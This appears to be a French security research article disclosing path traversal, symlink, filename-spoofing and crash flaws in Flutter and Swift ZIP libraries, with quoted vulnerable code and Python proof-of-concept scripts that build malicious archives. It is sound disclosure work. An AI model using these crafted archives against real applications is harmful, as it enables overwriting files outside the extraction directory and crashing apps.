Vulnérabilités des bibliothèques ZIP dans Swift et Flutter
De récentes investigations approfondies révèlent de graves vulnérabilités dans des packages zip très répandus de Flutter et de Swift, qui font peser de sérieux risques de sécurité sur des milliers de développeurs et d'applications. Notre article détaille les aspects techniques de ces vulnérabilités : leur découverte, leurs conséquences et les stratégies d'atténuation.
Introduction
Les packages ZIP sont des archives compressées qui contiennent plusieurs fichiers et répertoires. Ils permettent aux développeurs de regrouper commodément les ressources, les bibliothèques et les autres composants nécessaires au fonctionnement d'une application. Si les packages ZIP offrent efficacité et simplicité d'utilisation, ils peuvent aussi être à l'origine de vulnérabilités que des acteurs malveillants sont susceptibles d'exploiter.
Cet article examine la sécurité des implémentations de traitement des fichiers zip et présente des vulnérabilités dans des bibliothèques Zip populaires des écosystèmes Swift et Dart (Flutter). Nous explorerons les risques potentiels associés aux packages ZIP malveillants et leurs conséquences sur la sécurité des applications mobiles. Nous discuterons en outre des bonnes pratiques et des stratégies efficaces pour protéger solidement les packages ZIP tout au long du cycle de développement.
Anatomie d'un fichier ZIP
Les fichiers ZIP suivent généralement cette structure :
+------------------------------------------------------+
| Local File Header |
| +----------------------------------------------+ |
| | Local File Header Signature (4 bytes) | |
| | Version Needed to Extract (2 bytes) | |
| | General Purpose Bit Flag (2 bytes) | |
| | Compression Method (2 bytes) | |
| | Last Mod Time (2 bytes) | |
| | Last Mod Date (2 bytes) | |
| | CRC-32 Checksum (4 bytes) | |
| | Compressed Size (4 bytes) | |
| | Uncompressed Size (4 bytes) | |
| | Filename Length (2 bytes) | |
| | Extra Field Length (2 bytes) | |
| +----------------------------------------------+ |
| | Filename (variable length) | |
| | | |
| +----------------------------------------------+ |
| | Extra Field (variable length) | |
| | | |
| +----------------------------------------------+ |
| Compressed Data |
| |
| +----------------------------------------------+ |
| | Data Descriptor (optional) | |
| | +------------------------------------------+ | |
| | | CRC-32 Checksum (4 bytes) | | |
| | | Compressed Size (4 bytes) | | |
| | | Uncompressed Size (4 bytes) | | |
| | +------------------------------------------+ | |
| +----------------------------------------------+ |
+------------------------------------------------------+
+------------------------------------------------------+
| Central Directory |
| +----------------------------------------------+ |
| | Central Directory File Header | |
| | +--------------------------------------+ | |
| | | Central Directory Header Signature | | |
| | | Version Made by (2 bytes) | | |
| | | Version Needed to Extract (2 bytes) | | |
| | | General Purpose Bit Flag (2 bytes) | | |
| | | ... | | |
| | +--------------------------------------+ | |
| | | CRC-32 Checksum (4 bytes) | | |
| | | Compressed Size (4 bytes) | | |
| | | Uncompressed Size (4 bytes) | | |
| | | Filename Length (2 bytes) | | |
| | | ... | | |
| | +--------------------------------------+ | |
| | | Filename (variable length) | | |
| | | | | |
| | +--------------------------------------+ | |
| +----------------------------------------------+ |
+------------------------------------------------------+
+------------------------------------------------------+
| End of Central Directory Record |
| +----------------------------------------------+ |
| | End of Central Directory Signature (4 bytes) | |
| | ... | |
| +----------------------------------------------+ |
+------------------------------------------------------+
Les parties notables de la structure d'un fichier zip sont les suivantes :
-
Local File Header : le Local File Header est une section située au début de chaque fichier d'une archive ZIP. Il contient des informations essentielles sur le fichier compressé, comme son nom, sa taille, sa méthode de compression et d'autres attributs. Cet en-tête permet au logiciel de localiser et d'extraire chaque fichier de l'archive ZIP.
-
Data Descriptor : le Data Descriptor est une section facultative du format de fichier ZIP. Il fournit des informations supplémentaires sur les données compressées d'un fichier. Son rôle est de stocker la somme de contrôle CRC-32 des données non compressées, la taille compressée et la taille non compressée. Ces informations permettent des contrôles d'intégrité et peuvent être utiles lors de l'extraction des fichiers.
-
Central Directory File Header : le Central Directory File Header est une section d'un fichier ZIP qui contient les métadonnées de chaque fichier de l'archive. Il fournit des détails tels que le nom du fichier, la taille compressée, la taille non compressée, la méthode de compression et d'autres attributs. Le Central Directory File Header se trouve dans la structure du répertoire central, un catalogue de tous les fichiers de l'archive ZIP.
-
End of Central Directory Record (EOCD) : l'End of Central Directory (EOCD) Record est une section située à la fin d'un fichier ZIP, qui marque la fin de la structure du répertoire central. Il contient des informations essentielles, notamment le nombre d'entrées du répertoire central, sa taille et le décalage (offset) de son début. L'EOCD Record permet au logiciel de localiser et d'accéder au répertoire central, qui renseigne sur les fichiers de l'archive ZIP.
Vulnérabilités ZIP courantes :
-
Path traversal ZIP : le path traversal ZIP, également connu sous le nom de Zip Slip, est une vulnérabilité qui survient lorsque l'application ne valide pas les noms de fichiers des entrées zip lors de l'extraction. Elle permet à un attaquant d'extraire des fichiers vers des emplacements arbitraires en dehors du répertoire d'extraction, ce qui permet d'écraser des données utilisateur sensibles et, dans certains cas, peut conduire à l'exécution de code si l'attaquant écrase le fichier d'objet partagé d'une application.
-
Usurpation de nom de fichier ZIP : dans le contexte des archives ZIP, deux structures de données principales sont pertinentes pour les noms de fichiers : la
Central Directory Entryet leLocal File Header. Le problème se pose si un analyseur lit, par exemple, le nom de fichier depuis leLocal File Header, mais extrait ensuite le fichier avec le chemin indiqué dans laCentral Directory Entry. -
Path traversal par lien symbolique ZIP : le lien symbolique ZIP est une fonctionnalité utilisée par de nombreux utilitaires zip, qui permet à ces liens symboliques de pointer vers des fichiers situés en dehors du répertoire d'extraction. Cela peut présenter un risque de sécurité, en conduisant à l'écrasement de données sensibles ou de fichiers d'objets partagés, ce qui peut mener à l'exécution de code.
-
ZIP Bomb : une zip bomb est un petit fichier zip qui contient une quantité énorme de données compressées. Une fois extrait, il se développe en un fichier gigantesque ou consomme des ressources système excessives, pouvant provoquer un déni de service (DoS).
Packages ZIP analysés
Archive
L'un des packages Flutter populaires pour manipuler les fichiers compressés est archive, de Brendan Duncan. Ce package implémente nativement en Dart les formats d'archive courants, sans passer par des packages natifs propres à chaque plateforme comme java.util.zip pour Android ou ZIPFoundation pour iOS.
Langage : Dart (Flutter)
Lien : https://pub.dev/packages/archive
Flutter_archive
flutter_archive est un autre package Flutter pour les fichiers compressés, qui fonctionne exclusivement avec les fichiers zip. Il s'appuie sur le package zip natif de Java, java.util.zip, en tirant parti du MethodChannel de Flutter.
Langage : Dart (Flutter)
Lien : https://pub.dev/packages/flutter_archive
ZIPFoundation
ZIPFoundation est une bibliothèque permettant de créer, lire et modifier des fichiers d'archive ZIP. Elle est écrite en Swift et repose sur libcompression d'Apple pour offrir de hautes performances et une grande efficacité énergétique.
Langage : Swift
Lien : https://github.com/weichsel/ZIPFoundation
ZIP
Zip est un framework Swift pour compresser et décompresser des fichiers. Simple et rapide à utiliser. Construit au-dessus de minizip.
Langage : Swift
Lien : https://github.com/marmelroy/Zip
ZIPArchive (SSZIPArchive)
ZipArchive est une classe utilitaire simple pour compresser et décompresser des fichiers sur iOS, macOS et tvOS.
Langage : Swift
Lien : https://github.com/ZipArchive/ZipArchive
Vulnérabilités détectées
Package : Archive
Usurpation de nom de fichier ZIP (CVE-2023-39137)
Le package archive n'analyse le nom de fichier qu'à partir du Local File Header, ce qui crée une incohérence avec la plupart des analyseurs zip, qui privilégient généralement la Central Directory Entry. Cette incohérence peut être exploitée par des attaquants capables de fabriquer un fichier zip malveillant dont les noms de fichiers diffèrent entre le Local File Header et la Central Directory Entry, obtenant ainsi un fichier qui porte des noms différents avant et après l'extraction.
String filename = '';
List<int> extraField = [];
String fileComment = '';
ZipFile? file;
ZipFileHeader(
[InputStreamBase? input, InputStreamBase? bytes, String? password]) {
if (input != null) {
versionMadeBy = input.readUint16();
versionNeededToExtract = input.readUint16();
generalPurposeBitFlag = input.readUint16();
compressionMethod = input.readUint16();
lastModifiedFileTime = input.readUint16();
lastModifiedFileDate = input.readUint16();
crc32 = input.readUint32();
compressedSize = input.readUint32();
uncompressedSize = input.readUint32();
final fnameLen = input.readUint16();
final extraLen = input.readUint16();
final commentLen = input.readUint16();
diskNumberStart = input.readUint16();
internalFileAttributes = input.readUint16();
externalFileAttributes = input.readUint32();
localHeaderOffset = input.readUint32();
if (fnameLen > 0) {
filename = input.readString(size: fnameLen);
}
Pour le tester, nous avons fabriqué un fichier zip avec des valeurs différentes du champ de nom de fichier, evil.apk et evil.txt, respectivement pour le Local File Header et la Central Directory Entry.
Code de la preuve de concept :
import zipfile
def generate_spoofed_zip(filename):
with zipfile.ZipFile('payload.zip', 'w') as zipf:
zipf.writestr(filename, "Test payload")
with open('payload.zip', 'rb') as zipf:
zip_data = zipf.read()
spoofed_data = zip_data.replace(bytes(filename, 'utf-8'), bytes(spoofed_filename, 'utf-8'), 1)
with open('payload.zip', 'wb') as zipf:
zipf.write(spoofed_data)
original_filename = 'evil.txt'
spoofed_filename = 'evil.apk'
if len(original_filename) != len(spoofed_filename):
raise ValueError("Filenames lengths must be equal")
generate_spoofed_zip(original_filename)

Lorsque nous avons exécuté l'utilitaire zipinfo sur notre fichier zip, le nom de fichier qu'il contenait a été interprété comme evil.txt.

En revanche, après extraction du fichier avec la fonction extractFileToDisk du package archive, le nom de fichier a été interprété comme evil.apk.

Path traversal par lien symbolique ZIP (CVE-2023-39139)
Une autre découverte intéressante, faite lors de l'inspection du package : non seulement il recrée les liens symboliques après l'extraction, mais il recrée aussi ceux qui pointent vers n'importe quel chemin, y compris en dehors du répertoire d'extraction.
for (final file in archive.files) {
final filePath = p.join(outputPath, p.normalize(file.name));
if (!isWithinOutputPath(outputPath, filePath)) {
continue;
}
if (!file.isFile && !file.isSymbolicLink) {
Directory(filePath).createSync(recursive: true);
continue;
}
if (asyncWrite) {
if (file.isSymbolicLink) {
final link = Link(filePath);
await link.create(p.normalize(file.nameOfLinkedFile), recursive: true);
} else {
final output = File(filePath);
final f = await output.create(recursive: true);
final fp = await f.open(mode: FileMode.write);
final bytes = file.content as List<int>;
await fp.writeFrom(bytes);
file.clear();
futures.add(fp.close());
}
Pour le tester, nous avons créé un lien symbolique evil pointant vers un fichier (secret.txt) du répertoire parent, nous avons compressé ce lien symbolique avec la commande zip --symlinks poc.zip evil, puis extrait poc.zip sur un appareil de test Android à l'aide de la fonction extractFileToDisk.
Code de la preuve de concept :
import zipfile
def compress_file(filename):
zipInfo = zipfile.ZipInfo("")
zipInfo.create_system = 3
zipInfo.external_attr = 2716663808
zipInfo.filename = filename
with zipfile.ZipFile('payload.zip', 'w') as zipf:
zipf.writestr(zipInfo, "/etc/hosts")
filename = 'evil'
compress_file(filename)

Lors de l'extraction du fichier zip, le lien symbolique a été recréé et pointait vers ../secret.txt, en dehors du répertoire d'extraction.

Package : ZIPFoundation
Path traversal par lien symbolique ZIP (CVE-2023-39138)
Lors de l'extraction, le package transmet directement le chemin issu de l'entrée zip à fileManager.createSymbolicLink, sans vérifier qu'il se trouve dans le répertoire d'extraction. Nous avons reproduit le même test que ci-dessus et constaté que ce package autorise lui aussi des liens symboliques pointant en dehors du répertoire d'extraction.
case .symlink:
guard !fileManager.itemExists(at: url) else {
throw CocoaError(.fileWriteFileExists, userInfo: [NSFilePathErrorKey: url.path])
}
let consumer = { (data: Data) in
guard let linkPath = String(data: data, encoding: .utf8) else { throw ArchiveError.invalidEntryPath }
try fileManager.createParentDirectoryStructure(for: url)
try fileManager.createSymbolicLink(atPath: url.path, withDestinationPath: linkPath)
}
checksum = try self.extract(entry, bufferSize: bufferSize, skipCRC32: skipCRC32,
progress: progress, consumer: consumer)
}
Path traversal ZIP (CVE-2023-39138)
Le package utilise la fonction isContained pour vérifier que le chemin de l'entrée zip se trouve dans le répertoire d'extraction :
func isContained(in parentDirectoryURL: URL) -> Bool {
// Ensure this URL is contained in the passed in URL
let parentDirectoryURL = URL(fileURLWithPath: parentDirectoryURL.path, isDirectory: true).standardized
return self.standardized.absoluteString.hasPrefix(parentDirectoryURL.absoluteString)
}
...
guard entryURL.isContained(in: destinationURL) else {
throw CocoaError(.fileReadInvalidFileName,
userInfo: [NSFilePathErrorKey: entryURL.path])
}
...
crc32 = try archive.extract(entry, to: entryURL, skipCRC32: skipCRC32, progress: entryProgress)
Voici un extrait de code de la fonction extract :
public func extract(_ entry: Entry, to url: URL, bufferSize: Int = defaultReadChunkSize, skipCRC32: Bool = false,
progress: Progress? = nil) throws -> CRC32 {
guard bufferSize > 0 else {
throw ArchiveError.invalidBufferSize
}
let fileManager = FileManager()
var checksum = CRC32(0)
switch entry.type {
case .file:
guard !fileManager.itemExists(at: url) else {
throw CocoaError(.fileWriteFileExists, userInfo: [NSFilePathErrorKey: url.path])
}
try fileManager.createParentDirectoryStructure(for: url)
let destinationRepresentation = fileManager.fileSystemRepresentation(withPath: url.path)
guard let destinationFile: FILEPointer = fopen(destinationRepresentation, "wb+") else {
throw POSIXError(errno, path: url.path)
}
defer { fclose(destinationFile) }
let consumer = { _ = try Data.write(chunk: $0, to: destinationFile) }
checksum = try self.extract(entry, bufferSize: bufferSize, skipCRC32: skipCRC32,
progress: progress, consumer: consumer)
Lorsqu'on lui fournit le chemin suivant /base_path/extraction_directory//../, celui-ci est normalisé en /base_path/extraction_directory/entry_file_name, ce qui passe la vérification ci-dessus.
Lorsque ce même chemin est transmis à fopen, il est normalisé en /base_path/entry_file_name, ce qui nous permet d'écrire des fichiers en dehors du répertoire d'extraction.
Code de la preuve de concept :
import zipfile
def compress_file(filename):
with zipfile.ZipFile('payload.zip', 'w') as zipf:
zipf.writestr(filename, "Test payload")
filename = '/../secret.txt'
compress_file(filename)
Package : Zip
Path traversal ZIP (CVE-2023-39135)
Voici un extrait de code de la fonction unzipFile, utilisée pour extraire les fichiers zip. On constate que pathString, issu de notre entrée zip, est ajouté au répertoire destination sans aucune neutralisation.
let fileNameSize = Int(fileInfo.size_filename) + 1
//let fileName = UnsafeMutablePointer<CChar>(allocatingCapacity: fileNameSize)
let fileName = UnsafeMutablePointer<CChar>.allocate(capacity: fileNameSize)
unzGetCurrentFileInfo64(zip, &fileInfo, fileName, UInt(fileNameSize), nil, 0, nil, 0)
fileName[Int(fileInfo.size_filename)] = 0
var pathString = String(cString: fileName)
guard pathString.count > 0 else {
throw ZipError.unzipFail
}
var isDirectory = false
let fileInfoSizeFileName = Int(fileInfo.size_filename-1)
if (fileName[fileInfoSizeFileName] == "/".cString(using: String.Encoding.utf8)?.first || fileName[fileInfoSizeFileName] == "\\".cString(using: String.Encoding.utf8)?.first) {
isDirectory = true;
}
free(fileName)
if pathString.rangeOfCharacter(from: CharacterSet(charactersIn: "/\\")) != nil {
pathString = pathString.replacingOccurrences(of: "\\", with: "/")
}
let fullPath = destination.appendingPathComponent(pathString).path
Code de la preuve de concept :
import zipfile
def compress_file(filename):
with zipfile.ZipFile('payload.zip', 'w') as zipf:
zipf.writestr(filename, "Test payload")
filename = '../secret.txt'
compress_file(filename)
Package : ZIPArchive (SSZIPArchive)
Déni de service (CVE-2023-39136)
Voici un extrait de code de la fonction _sanitizedPath, utilisée pour assainir les noms de fichiers des entrées zip. Le code ajoute le préfixe file:/// au début du chemin de l'entrée zip, le normalise avec NSURL, puis retire le préfixe ajouté. Cependant, lorsqu'on lui présente /.. comme chemin, la sortie de NSURL devient file://, qui compte 7 caractères alors que le code en attend au moins 8. Ce cas limite non géré provoque le plantage de l'application.
if (strPath == nil) {
return nil;
}
// Add scheme "file:///" to support sanitation on names with a colon like "file:a/../../../usr/bin"
strPath = [@"file:///" stringByAppendingString:strPath];
// Sanitize path traversal characters to prevent directory backtracking. Ignoring these characters mimics the default behavior of the Unarchiving tool on macOS.
// "../../../../../../../../../../../tmp/test.txt" -> "tmp/test.txt"
// "a/b/../c.txt" -> "a/c.txt"
strPath = [NSURL URLWithString:strPath].standardizedURL.absoluteString;
// Remove the "file:///" scheme
strPath = [strPath substringFromIndex:8];
Code de la preuve de concept :
import zipfile
def compress_file(filename):
with zipfile.ZipFile('payload.zip', 'w') as zipf:
zipf.writestr(filename, "Test payload")
filename = '/..'
compress_file(filename)
Tableau récapitulatif
| Package | Langage | Usurpation de nom de fichier ZIP | Lien symbolique ZIP | Path traversal ZIP | Déni de service |
|---|---|---|---|---|---|
| Archive | Dart (Flutter) | Vulnérable | Non vulnérable | Non vulnérable | Non vulnérable |
| Flutter_archive | Dart (Flutter) | Non vulnérable | Non vulnérable | Non vulnérable | Non vulnérable |
| ZIPFoundation | Swift | Non vulnérable | Vulnérable | Vulnérable | Non vulnérable |
| ZIP | Swift | Non vulnérable | Non vulnérable | Vulnérable | Non vulnérable |
| ZIPArchive | Swift | Non vulnérable | Non vulnérable | Non vulnérable | Vulnérable |
Conclusion
En conclusion, les vulnérabilités ZIP représentent des risques de sécurité importants dont les développeurs doivent avoir conscience lorsqu'ils manipulent des archives. Le format de fichier ZIP, bien que très répandu et largement pris en charge, n'est pas à l'abri de l'exploitation. Comprendre et corriger ces vulnérabilités est essentiel pour protéger les données sensibles et prévenir d'éventuelles attaques.
Cet article a mis en lumière plusieurs vulnérabilités ZIP courantes, notamment le path traversal ZIP, l'usurpation de nom de fichier ZIP, la vulnérabilité des liens symboliques ZIP et les attaques par ZIP bomb. Chacune de ces vulnérabilités expose à des risques différents, tels que l'accès non autorisé à des fichiers, l'écrasement de données sensibles, le déni de service (DoS) et même, dans certains scénarios, l'exécution de code.
Il est important que les développeurs mettent en œuvre des mesures de sécurité solides lorsqu'ils travaillent avec des fichiers ZIP. Cela comprend la validation des noms de fichiers des entrées zip lors de l'extraction pour prévenir les attaques de path traversal, la vérification de la cohérence entre les noms de fichiers du Local File Header et de la Central Directory Entry pour atténuer l'usurpation de nom de fichier, la restriction des permissions d'accès aux fichiers extraits, et la mise en œuvre de techniques de décompression adaptées pour éviter les situations de DoS provoquées par les ZIP bombs.
Par ailleurs, il est crucial de se tenir informé des mises à jour de sécurité et des correctifs relatifs aux bibliothèques ou packages ZIP utilisés dans les frameworks de développement. Examiner et mettre à jour régulièrement ces dépendances contribue à atténuer les vulnérabilités connues et à se protéger contre les menaces émergentes.
Il convient de mentionner que les problèmes abordés dans cet article ont été signalés aux auteurs concernés.